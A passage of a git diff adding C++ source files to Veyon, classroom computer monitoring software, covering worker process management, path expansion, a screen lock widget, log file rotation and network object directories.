m_workers[feature.uid()]; + + if( worker.socket ) + { + worker.socket->disconnect( this ); + disconnect( worker.socket ); + + worker.socket->close(); + worker.socket->deleteLater(); + } + + if( worker.process ) + { + auto killTimer = new QTimer; + connect( killTimer, &QTimer::timeout, worker.process, &QProcess::terminate ); + connect( killTimer, &QTimer::timeout, worker.process, &QProcess::kill ); + connect( killTimer, &QTimer::timeout, killTimer, &QTimer::deleteLater ); + killTimer->start( 5000 ); + } + + m_workers.remove( feature.uid() ); + } + + m_workersMutex.unlock(); +} + + + +void FeatureWorkerManager::sendMessage( const FeatureMessage& message ) +{ + m_workersMutex.lock(); + + if( m_workers.contains( message.featureUid() ) ) + { + m_workers[message.featureUid()].pendingMessages.append( message ); + } + + m_workersMutex.unlock(); +} + + + +bool FeatureWorkerManager::isWorkerRunning( const Feature& feature ) +{ + QMutexLocker locker( &m_workersMutex ); + return m_workers.contains( feature.uid() ); +} + + + +FeatureUidList FeatureWorkerManager::runningWorkers() +{ + QMutexLocker locker( &m_workersMutex ); + + FeatureUidList featureUidList; + featureUidList.reserve( m_workers.size() ); + + for( auto it = m_workers.begin(); it != m_workers.end(); ++it ) + { + featureUidList.append( it.key().toString() ); + } + + return featureUidList; +} + + + +void FeatureWorkerManager::acceptConnection() +{ + qDebug( "FeatureWorkerManager: accepting connection" ); + + QTcpSocket* socket = m_tcpServer.nextPendingConnection(); + + // connect to readyRead() signal of new connection + connect( socket, &QTcpSocket::readyRead, + this, [=] () { processConnection( socket ); } ); + + connect( socket, &QTcpSocket::disconnected, + this, [=] () { closeConnection( socket ); } ); +} + + + +void FeatureWorkerManager::processConnection( QTcpSocket* socket ) +{ + FeatureMessage message( socket ); + message.receive(); + + m_workersMutex.lock(); + + // set socket information + if( m_workers.contains( message.featureUid() ) ) + { + if( m_workers[message.featureUid()].socket.isNull() ) + { + m_workers[message.featureUid()].socket = socket; + } + + m_workersMutex.unlock(); + + if( message.command() >= 0 ) + { + m_featureManager.handleFeatureMessage( m_server, message ); + } + + } + else + { + m_workersMutex.unlock(); + + qCritical() << "FeatureWorkerManager: got data from non-existing worker!" << message.featureUid(); + } +} + + + +void FeatureWorkerManager::closeConnection( QTcpSocket* socket ) +{ + m_workersMutex.lock(); + + for( auto it = m_workers.begin(); it != m_workers.end(); ) + { + if( it.value().socket == socket ) + { + qDebug() << "FeatureWorkerManager::closeConnection(): removing worker after socket has been closed"; + it = m_workers.erase( it ); + } + else + { + ++it; + } + } + + m_workersMutex.unlock(); + + socket->deleteLater(); +} + + + +void FeatureWorkerManager::sendPendingMessages() +{ + m_workersMutex.lock(); + + for( auto it = m_workers.begin(); it != m_workers.end(); ++it ) + { + auto& worker = it.value(); + + while( worker.socket && worker.pendingMessages.isEmpty() == false ) + { + worker.pendingMessages.first().send( worker.socket ); + worker.pendingMessages.removeFirst(); + } + } + + m_workersMutex.unlock(); +} diff --git a/core/src/FileSystemBrowser.cpp b/core/src/FileSystemBrowser.cpp new file mode 100644 index 0000000..e207bc7 --- /dev/null +++ b/core/src/FileSystemBrowser.cpp @@ -0,0 +1,105 @@ +/* + * FileSystemBrowser.cpp - a wrapper class for easily browsing the file system + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "Filesystem.h" +#include "FileSystemBrowser.h" + + +QString FileSystemBrowser::exec( const QString &path, + const QString &title, + const QString &filter ) +{ + QString browsePath = path; + if( m_expandPath ) + { + browsePath = VeyonCore::filesystem().expandPath( browsePath ); + } + + switch( m_browseMode ) + { + case ExistingDirectory: + if( !QFileInfo( browsePath ).isDir() ) + { + browsePath = QDir::homePath(); + } + break; + case ExistingFile: + case SaveFile: + if( QFileInfo( browsePath ).isFile() ) + { + browsePath = QFileInfo( browsePath ).absolutePath(); + } + else + { + browsePath = QDir::homePath(); + } + break; + + default: break; + } + + QString chosenPath; + switch( m_browseMode ) + { + case ExistingDirectory: + chosenPath = QFileDialog::getExistingDirectory( nullptr, title, + browsePath, + QFileDialog::ShowDirsOnly | + QFileDialog::DontResolveSymlinks ); + break; + case ExistingFile: + chosenPath = QFileDialog::getOpenFileName( nullptr, title, + browsePath, filter ); + break; + case SaveFile: + chosenPath = QFileDialog::getSaveFileName( nullptr, title, + browsePath, filter ); + break; + + default: break; + } + + if( !chosenPath.isEmpty() ) + { + if( m_shrinkPath ) + { + return VeyonCore::filesystem().shrinkPath( chosenPath ); + } + return chosenPath; + } + + return path; +} + + + +void FileSystemBrowser::exec( QLineEdit *lineEdit, const QString &title, + const QString & filter ) +{ + lineEdit->setText( exec( lineEdit->text(), title, filter ) ); +} + diff --git a/core/src/Filesystem.cpp b/core/src/Filesystem.cpp new file mode 100644 index 0000000..3b85865 --- /dev/null +++ b/core/src/Filesystem.cpp @@ -0,0 +1,163 @@ +/* + * Filesystem.cpp - filesystem related query and manipulation functions + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "VeyonConfiguration.h" +#include "Filesystem.h" +#include "PlatformFilesystemFunctions.h" + + +QString Filesystem::expandPath( QString path ) const +{ + const auto p = QDir::toNativeSeparators( path.replace( QStringLiteral( "%HOME%" ), QDir::homePath() ). + replace( QStringLiteral( "$HOME" ), QDir::homePath() ). + replace( QStringLiteral( "%PROFILE%" ), QDir::homePath() ). + replace( QStringLiteral( "$PROFILE" ), QDir::homePath() ). + replace( QStringLiteral( "%APPDATA%" ), VeyonCore::platform().filesystemFunctions().personalAppDataPath() ). + replace( QStringLiteral( "$APPDATA" ), VeyonCore::platform().filesystemFunctions().personalAppDataPath() ). + replace( QStringLiteral( "%GLOBALAPPDATA%" ), VeyonCore::platform().filesystemFunctions().globalAppDataPath() ). + replace( QStringLiteral( "$GLOBALAPPDATA" ), VeyonCore::platform().filesystemFunctions().globalAppDataPath() ). + replace( QStringLiteral( "%TMP%" ), QDir::tempPath() ). + replace( QStringLiteral( "$TMP" ), QDir::tempPath() ). + replace( QStringLiteral( "%TEMP%" ), QDir::tempPath() ). + replace( QStringLiteral( "$TEMP" ), QDir::tempPath() ) ); + + // remove duplicate directory separators - however skip the first two chars + // as they might specify an UNC path on Windows + if( p.length() > 3 ) + { + return p.left( 2 ) + p.mid( 2 ).replace( + QString( QStringLiteral( "%1%1" ) ).arg( QDir::separator() ), + QDir::separator() ); + } + + return p; +} + + + +QString Filesystem::shrinkPath( QString path ) const +{ + path = QDir::toNativeSeparators( path ); + + const QString envVar( QStringLiteral( "%%1%" ) ); + const auto personalAppDataPath = VeyonCore::platform().filesystemFunctions().personalAppDataPath(); + const auto globalAppDataPath = VeyonCore::platform().filesystemFunctions().globalAppDataPath(); + + if( path.startsWith( QDir::toNativeSeparators( QDir::tempPath() ) ) ) + { + path.replace( QDir::toNativeSeparators( QDir::tempPath() ), envVar.arg( QStringLiteral( "TEMP" ) ) ); + } + else if( path.startsWith( personalAppDataPath ) ) + { + path.replace( personalAppDataPath, envVar.arg( QStringLiteral( "APPDATA" ) ) ); + } + else if( path.startsWith( globalAppDataPath ) ) + { + path.replace( globalAppDataPath, envVar.arg( QStringLiteral( "GLOBALAPPDATA" ) ) ); + } + else if( path.startsWith( QDir::toNativeSeparators( QDir::homePath() ) ) ) + { + path.replace( QDir::toNativeSeparators( QDir::homePath() ), envVar.arg( QStringLiteral( "HOME" ) ) ); + } + + // remove duplicate directory separators - however skip the first two chars + // as they might specify an UNC path on Windows + if( path.length() > 3 ) + { + return QDir::toNativeSeparators( path.left( 2 ) + path.mid( 2 ).replace( + QString( QStringLiteral( "%1%1" ) ).arg( QDir::separator() ), QDir::separator() ) ); + } + + return QDir::toNativeSeparators( path ); +} + + + + +bool Filesystem::ensurePathExists( const QString &path ) const +{ + const QString expandedPath = VeyonCore::filesystem().expandPath( path ); + + if( path.isEmpty() || QDir( expandedPath ).exists() ) + { + return true; + } + + qDebug() << "Filesystem::ensurePathExists(): creating " << path << "=>" << expandedPath; + + QString p = expandedPath; + + QStringList dirs; + while( !QDir( p ).exists() && !p.isEmpty() ) + { + dirs.push_front( QDir( p ).dirName() ); + p.chop( dirs.front().size() + 1 ); + } + + if( !p.isEmpty() ) + { + return QDir( p ).mkpath( dirs.join( QDir::separator() ) ); + } + + return false; +} + + + +QString Filesystem::privateKeyPath( const QString& name ) const +{ + const auto d = VeyonCore::filesystem().expandPath( VeyonCore::config().privateKeyBaseDir() ) + + QDir::separator() + name + QDir::separator() + QStringLiteral( "key" ); + + return QDir::toNativeSeparators( d ); +} + + + +QString Filesystem::publicKeyPath( const QString& name ) const +{ + const auto d = VeyonCore::filesystem().expandPath( VeyonCore::config().publicKeyBaseDir() ) + + QDir::separator() + name + QDir::separator() + QStringLiteral( "key" ); + + return QDir::toNativeSeparators( d ); +} + + + +QString Filesystem::serverFilePath() const +{ + return QDir::toNativeSeparators( QCoreApplication::applicationDirPath() + QDir::separator() + + QStringLiteral("veyon-server" ) + VeyonCore::executableSuffix() ); +} + + + +QString Filesystem::workerFilePath() const +{ + return QDir::toNativeSeparators( QCoreApplication::applicationDirPath() + QDir::separator() + + QStringLiteral("veyon-worker" ) + VeyonCore::executableSuffix() ); +} diff --git a/core/src/LockWidget.cpp b/core/src/LockWidget.cpp new file mode 100644 index 0000000..96f2d4f --- /dev/null +++ b/core/src/LockWidget.cpp @@ -0,0 +1,92 @@ +/* + * LockWidget.cpp - widget for locking a client + * + * Copyright (c) 2006-2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include "LockWidget.h" +#include "PlatformCoreFunctions.h" +#include "PlatformInputDeviceFunctions.h" + +#include +#include +#include + + +LockWidget::LockWidget( Mode mode, const QPixmap& background, QWidget* parent ) : + QWidget( parent, Qt::X11BypassWindowManagerHint ), + m_background( background ), + m_mode( mode ) +{ + VeyonCore::platform().inputDeviceFunctions().disableInputDevices(); + + if( mode == DesktopVisible ) + { + m_background = QPixmap::grabWindow( qApp->desktop()->winId() ); + } + + setWindowTitle( QString() ); + showFullScreen(); + move( 0, 0 ); + setFixedSize( qApp->desktop()->size() ); + VeyonCore::platform().coreFunctions().raiseWindow( this ); + setFocusPolicy( Qt::StrongFocus ); + setFocus(); + grabMouse(); + grabKeyboard(); + setCursor( Qt::BlankCursor ); + QGuiApplication::setOverrideCursor( Qt::BlankCursor ); + + QCursor::setPos( mapToGlobal( QPoint( 0, 0 ) ) ); +} + + + +LockWidget::~LockWidget() +{ + VeyonCore::platform().inputDeviceFunctions().enableInputDevices(); + + QGuiApplication::restoreOverrideCursor(); +} + + + +void LockWidget::paintEvent( QPaintEvent* event ) +{ + Q_UNUSED(event); + + QPainter p( this ); + switch( m_mode ) + { + case DesktopVisible: + p.drawPixmap( 0, 0, m_background ); + break; + + case BackgroundPixmap: + p.fillRect( rect(), QColor( 64, 64, 64 ) ); + p.drawPixmap( ( width() - m_background.width() ) / 2, + ( height() - m_background.height() ) / 2, + m_background ); + break; + + default: + break; + } +} diff --git a/core/src/Logger.cpp b/core/src/Logger.cpp new file mode 100644 index 0000000..d32bbbf --- /dev/null +++ b/core/src/Logger.cpp @@ -0,0 +1,332 @@ +/* + * Logger.cpp - a global clas for easily logging messages to log files + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "VeyonConfiguration.h" +#include "Filesystem.h" +#include "Logger.h" +#include "PlatformCoreFunctions.h" + +QAtomicPointer Logger::s_instance = nullptr; +QMutex Logger::s_instanceMutex; + + +Logger::Logger( const QString &appName ) : + m_logLevel( LogLevelDefault ), + m_logMutex(), + m_lastMessageLevel( Logger::LogLevelNothing ), + m_lastMessage(), + m_lastMessageCount( 0 ), + m_logToSystem( false ), + m_appName( QStringLiteral( "Veyon" ) + appName ), + m_logFile( nullptr ), + m_logFileSizeLimit( -1 ), + m_logFileRotationCount( -1 ) +{ + s_instanceMutex.lock(); + + Q_ASSERT(s_instance == nullptr); + + s_instance = this; + s_instanceMutex.unlock(); + + auto configuredLogLevel = VeyonCore::config().logLevel(); + if( qEnvironmentVariableIsSet( logLevelEnvironmentVariable() ) ) + { + configuredLogLevel = qEnvironmentVariableIntValue( logLevelEnvironmentVariable() ); + } + + m_logLevel = qBound( LogLevelMin, static_cast( configuredLogLevel ), LogLevelMax ); + m_logToSystem = VeyonCore::config().logToSystem(); + + initLogFile(); + + qInstallMessageHandler( qtMsgHandler ); + + VeyonCore::platform().coreFunctions().initNativeLoggingSystem( appName ); + + if( QCoreApplication::instance() ) + { + // log current application start up + qDebug() << "Startup with arguments" << QCoreApplication::arguments(); + } + else + { + qDebug() << "Startup without QCoreApplication instance"; + } +} + + + + +Logger::~Logger() +{ + qDebug( "Shutdown" ); + + QMutexLocker l( &m_logMutex ); + + qInstallMessageHandler(nullptr); + + s_instanceMutex.lock(); + s_instance = nullptr; + s_instanceMutex.unlock(); + + delete m_logFile; +} + + + + +void Logger::initLogFile() +{ + QString logPath = VeyonCore::filesystem().expandPath( VeyonCore::config().logFileDirectory() ); + + if( !QDir( logPath ).exists() ) + { + if( QDir( QDir::rootPath() ).mkdir( logPath ) ) + { + QFile::setPermissions( logPath, + QFile::ReadOwner | QFile::WriteOwner | QFile::ExeOwner | + QFile::ReadUser | QFile::WriteUser | QFile::ExeUser | + QFile::ReadGroup | QFile::WriteGroup | QFile::ExeGroup | + QFile::ReadOther | QFile::WriteOther | QFile::ExeOther ); + } + } + + logPath = logPath + QDir::separator(); + m_logFile = new QFile( logPath + QString( QStringLiteral( "%1.log" ) ).arg( m_appName ) ); + + openLogFile(); + + if( VeyonCore::config().logFileSizeLimitEnabled() ) + { + m_logFileSizeLimit = VeyonCore::config().logFileSizeLimit() * 1024 * 1024; + } + + if( VeyonCore::config().logFileRotationEnabled() ) + { + m_logFileRotationCount = VeyonCore::config().logFileRotationCount(); + } +} + + + +void Logger::openLogFile() +{ + m_logFile->open( QFile::WriteOnly | QFile::Append | QFile::Unbuffered | QFile::Text ); + m_logFile->setPermissions( QFile::ReadOwner | QFile::WriteOwner ); +} + + + +void Logger::closeLogFile() +{ + m_logFile->close(); +} + + + +void Logger::clearLogFile() +{ + closeLogFile(); + m_logFile->remove(); + openLogFile(); +} + + + +void Logger::rotateLogFile() +{ + if( m_logFileRotationCount < 1 ) + { + return; + } + + closeLogFile(); + + const QFileInfo logFileInfo( *m_logFile ); + const QStringList logFileFilter( { logFileInfo.fileName() + QStringLiteral( ".*" ) } ); + + auto rotatedLogFiles = logFileInfo.dir().entryList( logFileFilter, QDir::NoFilter, QDir::Name ); + + while( rotatedLogFiles.isEmpty() == false && + rotatedLogFiles.count() >= m_logFileRotationCount ) + { + logFileInfo.dir().remove( rotatedLogFiles.takeLast() ); + } + +#if QT_VERSION < 0x050600 +#warning Building compat code for unsupported version of Qt + typedef std::reverse_iterator QStringListReverseIterator; + for( auto it = QStringListReverseIterator(rotatedLogFiles.cend()), + end = QStringListReverseIterator(rotatedLogFiles.cbegin()); it != end; ++it ) +#else + for( auto it = rotatedLogFiles.crbegin(), end = rotatedLogFiles.crend(); it != end; ++it ) +#endif + { + bool numberOk = false; + int logFileIndex = it->section( '.', -1 ).toInt( &numberOk ); + if( numberOk ) + { + const auto oldFileName = QString( QStringLiteral( "%1.%2" ) ).arg( m_logFile->fileName() ).arg( logFileIndex ); + const auto newFileName = QString( QStringLiteral( "%1.%2" ) ).arg( m_logFile->fileName() ).arg( logFileIndex + 1 ); + QFile::rename( oldFileName, newFileName ); + } + else + { + // remove stale log file + logFileInfo.dir().remove( *it ); + } + } + + QFile::rename( m_logFile->fileName(), m_logFile->fileName() + QStringLiteral( ".0" ) ); + + openLogFile(); +} + + + + +QString Logger::formatMessage( LogLevel ll, const QString& message ) +{ + QString messageType; + switch( ll ) + { + case LogLevelDebug: messageType = QStringLiteral( "DEBUG" ); break; + case LogLevelInfo: messageType = QStringLiteral( "INFO" ); break; + case LogLevelWarning: messageType = QStringLiteral( "WARN" ); break; + case LogLevelError: messageType = QStringLiteral( "ERR" ); break; + case LogLevelCritical: messageType = QStringLiteral( "CRIT" ); break; + default: break; + } + + return QStringLiteral( "%1.%2: [%3] %4\n" ).arg( + QDateTime::currentDateTime().toString( Qt::ISODate ), + QDateTime::currentDateTime().toString( QStringLiteral( "zzz" ) ), + messageType, + message.trimmed() ); +} + + + + +void Logger::qtMsgHandler( QtMsgType messageType, const QMessageLogContext& context, const QString& message ) +{ + QMutexLocker instanceLocker( &s_instanceMutex ); + + if( s_instance.load() == nullptr ) + { + return; + } + + LogLevel logLevel = LogLevelDefault; + + switch( messageType ) + { + case QtDebugMsg: logLevel = LogLevelDebug; break; + case QtInfoMsg: logLevel = LogLevelInfo; break; + case QtWarningMsg: logLevel = LogLevelWarning; break; + case QtCriticalMsg: logLevel = LogLevelError; break; + case QtFatalMsg: logLevel = LogLevelCritical; break; + default: + break; + } + + if( context.category && strcmp(context.category, "default") != 0 ) + { + s_instance.load()->log( logLevel, QStringLiteral( "[%1] " ).arg(context.category) + message ); + } + else + { + s_instance.load()->log( logLevel, message ); + } +} + + + + +void Logger::log( LogLevel logLevel, const QString& message ) +{ + if( m_logLevel >= logLevel ) + { + QMutexLocker l( &m_logMutex ); + if( message == m_lastMessage && logLevel == m_lastMessageLevel ) + { + ++m_lastMessageCount; + } + else + { + if( m_lastMessageCount ) + { + outputMessage( formatMessage( m_lastMessageLevel, QStringLiteral( "---" ) ) ); + outputMessage( formatMessage( m_lastMessageLevel, QStringLiteral( "Last message repeated %1 times" ).arg( m_lastMessageCount ) ) ); + outputMessage( formatMessage( m_lastMessageLevel, QStringLiteral( "---" ) ) ); + m_lastMessageCount = 0; + } + outputMessage( formatMessage( logLevel, message ) ); + + if( m_logToSystem ) + { + VeyonCore::platform().coreFunctions().writeToNativeLoggingSystem( message, logLevel ); + } + + m_lastMessage = message; + m_lastMessageLevel = logLevel; + } + } +} + + + +void Logger::outputMessage( const QString& message ) +{ + if( m_logFile ) + { + m_logFile->write( message.toUtf8() ); + m_logFile->flush(); + + if( m_logFileSizeLimit > 0 && + m_logFile->size() > m_logFileSizeLimit ) + { + if( m_logFileRotationCount > 0 ) + { + rotateLogFile(); + } + else + { + clearLogFile(); + } + } + } + + if( VeyonCore::config().logToStdErr() ) + { + fprintf( stderr, "%s", message.toUtf8().constData() ); + fflush( stderr ); + } +} diff --git a/core/src/MonitoringMode.cpp b/core/src/MonitoringMode.cpp new file mode 100644 index 0000000..90cced8 --- /dev/null +++ b/core/src/MonitoringMode.cpp @@ -0,0 +1,37 @@ +/* + * MonitoringMode.cpp - implementation of MonitoringMode class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "MonitoringMode.h" + +MonitoringMode::MonitoringMode( QObject* parent ) : + QObject( parent ), + m_monitoringModeFeature( Feature::Mode | Feature::Master | Feature::Builtin, + Feature::Uid( "edad8259-b4ef-4ca5-90e6-f238d0fda694" ), + Feature::Uid(), + tr( "Monitoring" ), tr( "Monitoring" ), + tr( "This is the default mode and allows you to monitor all computers in one or more rooms." ), + QStringLiteral( ":/resources/presentation-none.png" ) ), + m_features( { m_monitoringModeFeature } ) +{ +} diff --git a/core/src/NetworkObject.cpp b/core/src/NetworkObject.cpp new file mode 100644 index 0000000..efb6746 --- /dev/null +++ b/core/src/NetworkObject.cpp @@ -0,0 +1,165 @@ +/* + * NetworkObject.cpp - data class representing a network object + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "NetworkObject.h" + + +const QUuid NetworkObject::networkObjectNamespace( QStringLiteral( "8a6c479e-243e-4ccb-8e5a-0ddf5cf3c7d0" ) ); + + +NetworkObject::NetworkObject( const NetworkObject& other ) : + m_type( other.type() ), + m_name( other.name() ), + m_hostAddress( other.hostAddress() ), + m_macAddress( other.macAddress() ), + m_directoryAddress( other.directoryAddress() ), + m_uid( other.uid() ), + m_parentUid( other.parentUid() ) +{ +} + + + +NetworkObject::NetworkObject( NetworkObject::Type type, + const Name& name, + const QString& hostAddress, + const QString& macAddress, + const QString& directoryAddress, + Uid uid, + Uid parentUid ) : + m_type( type ), + m_name( name ), + m_hostAddress( hostAddress ), + m_macAddress( macAddress ), + m_directoryAddress( directoryAddress ), + m_uid( uid ), + m_parentUid( parentUid ) +{ + if( m_uid.isNull() ) + { + m_uid = calculateUid(); + } +} + + + +NetworkObject::NetworkObject( const QJsonObject& jsonObject ) : + m_type( static_cast( jsonObject.value( QStringLiteral( "Type" ) ).toInt() ) ), + m_name( jsonObject.value( QStringLiteral( "Name" ) ).toString() ), + m_hostAddress( jsonObject.value( QStringLiteral( "HostAddress" ) ).toString() ), + m_macAddress( jsonObject.value( QStringLiteral( "MacAddress" ) ).toString() ), + m_directoryAddress( jsonObject.value( QStringLiteral( "DirectoryAddress" ) ).toString() ), + m_uid( jsonObject.value( QStringLiteral( "Uid" ) ).toString() ), + m_parentUid( jsonObject.value( QStringLiteral( "ParentUid" ) ).toString() ) +{ +} + + + +NetworkObject::~NetworkObject() +{ +} + + + +NetworkObject& NetworkObject::operator=( const NetworkObject& other ) +{ + m_type = other.type(); + m_name = other.name(); + m_hostAddress = other.hostAddress(); + m_macAddress = other.macAddress(); + m_directoryAddress = other.directoryAddress(); + m_uid = other.uid(); + m_parentUid = other.parentUid(); + + return *this; +} + + + +bool NetworkObject::operator==( const NetworkObject& other ) const +{ + return uid() == other.uid(); +} + + + +bool NetworkObject::exactMatch( const NetworkObject& other ) const +{ + return uid() == other.uid() && + type() == other.type() && + name() == other.name() && + hostAddress() == other.hostAddress() && + macAddress() == other.macAddress() && + directoryAddress() == other.directoryAddress() && + parentUid() == other.parentUid(); +} + + + +QJsonObject NetworkObject::toJson() const +{ + QJsonObject json; + json[QStringLiteral("Type")] = type(); + json[QStringLiteral("Uid")] = uid().toString(); + json[QStringLiteral("Name")] = name(); + + if( hostAddress().isEmpty() == false ) + { + json[QStringLiteral("HostAddress")] = hostAddress(); + } + + if( macAddress().isEmpty() == false ) + { + json[QStringLiteral("MacAddress")] = macAddress(); + } + + if( directoryAddress().isEmpty() == false ) + { + json[QStringLiteral("DirectoryAddress")] = directoryAddress(); + } + + if( parentUid().isNull() == false ) + { + json[QStringLiteral("ParentUid")] = parentUid().toString(); + } + + return json; +} + + + +NetworkObject::Uid NetworkObject::calculateUid() const +{ + // if a directory address is set (e.g. full DN in LDAP) it should be unique and can be + // used for hashing + if( directoryAddress().isEmpty() == false ) + { + return QUuid::createUuidV5( networkObjectNamespace, directoryAddress() ); + } + + return QUuid::createUuidV5( networkObjectNamespace, name() + hostAddress() + macAddress() + parentUid().toString() ); +} diff --git a/core/src/NetworkObjectDirectory.cpp b/core/src/NetworkObjectDirectory.cpp new file mode 100644 index 0000000..af1c5b4 --- /dev/null +++ b/core/src/NetworkObjectDirectory.cpp @@ -0,0 +1,51 @@ +/* + * NetworkObjectDirectory.cpp - base class for network object directory implementations + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "VeyonConfiguration.h" +#include "VeyonCore.h" +#include "NetworkObjectDirectory.h" + + +NetworkObjectDirectory::NetworkObjectDirectory( QObject* parent ) : + QObject( parent ), + m_updateTimer( new QTimer( this ) ) +{ + connect( m_updateTimer, &QTimer::timeout, this, &NetworkObjectDirectory::update ); +} + + + +void NetworkObjectDirectory::setUpdateInterval( int interval ) +{ + if( interval >= MinimumUpdateInterval ) + { + m_updateTimer->start( interval*1000 ); + } + else + { + m_updateTimer->stop(); + } +} diff --git a/core/src/NetworkObjectDirectoryManager.cpp b/core/src/NetworkObjectDirectoryManager.cpp new file mode 100644 index 0000000..f0de1f9 --- /dev/null +++ b/core/src/NetworkObjectDirectoryManager.cpp @@ -0,0 +1,102 @@ +/* + * NetworkObjectDirectoryManager.cpp - implementation of NetworkObjectDirectoryManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "NetworkObjectDirectoryManager.h" +#include "NetworkObjectDirectoryPluginInterface.h" +#include "PluginManager.h" + + +NetworkObjectDirectoryManager::NetworkObjectDirectoryManager( QObject* parent ) : + QObject( parent ), + m_directoryPluginInterfaces(), + m_configuredDirectory( nullptr ) +{ + for( auto pluginObject : qAsConst( VeyonCore::pluginManager().pluginObjects() ) ) + { + auto pluginInterface = qobject_cast( pluginObject ); + auto directoryPluginInterface = qobject_cast( pluginObject ); + + if( pluginInterface && directoryPluginInterface ) + { + m_directoryPluginInterfaces[pluginInterface] = directoryPluginInterface; + } + } +} + + + +QMap NetworkObjectDirectoryManager::availableDirectories() +{ + QMap items; + + for( auto it = m_directoryPluginInterfaces.constBegin(), end = m_directoryPluginInterfaces.constEnd(); it != end; ++it ) + { + items[it.key()->uid()] = it.value()->directoryName(); + } + + return items; +} + + + +NetworkObjectDirectory* NetworkObjectDirectoryManager::configuredDirectory() +{ + if( m_configuredDirectory == nullptr ) + { + m_configuredDirectory = createDirectory(); + } + + return m_configuredDirectory; +} + + + +NetworkObjectDirectory* NetworkObjectDirectoryManager::createDirectory() +{ + const auto configuredPluginUuid = VeyonCore::config().networkObjectDirectoryPlugin(); + NetworkObjectDirectoryPluginInterface* defaultPluginInterface = nullptr; + + for( auto it = m_directoryPluginInterfaces.constBegin(), end = m_directoryPluginInterfaces.constEnd(); it != end; ++it ) + { + const auto pluginInterface = it.key(); + + if( pluginInterface->uid() == configuredPluginUuid ) + { + return it.value()->createNetworkObjectDirectory( this ); 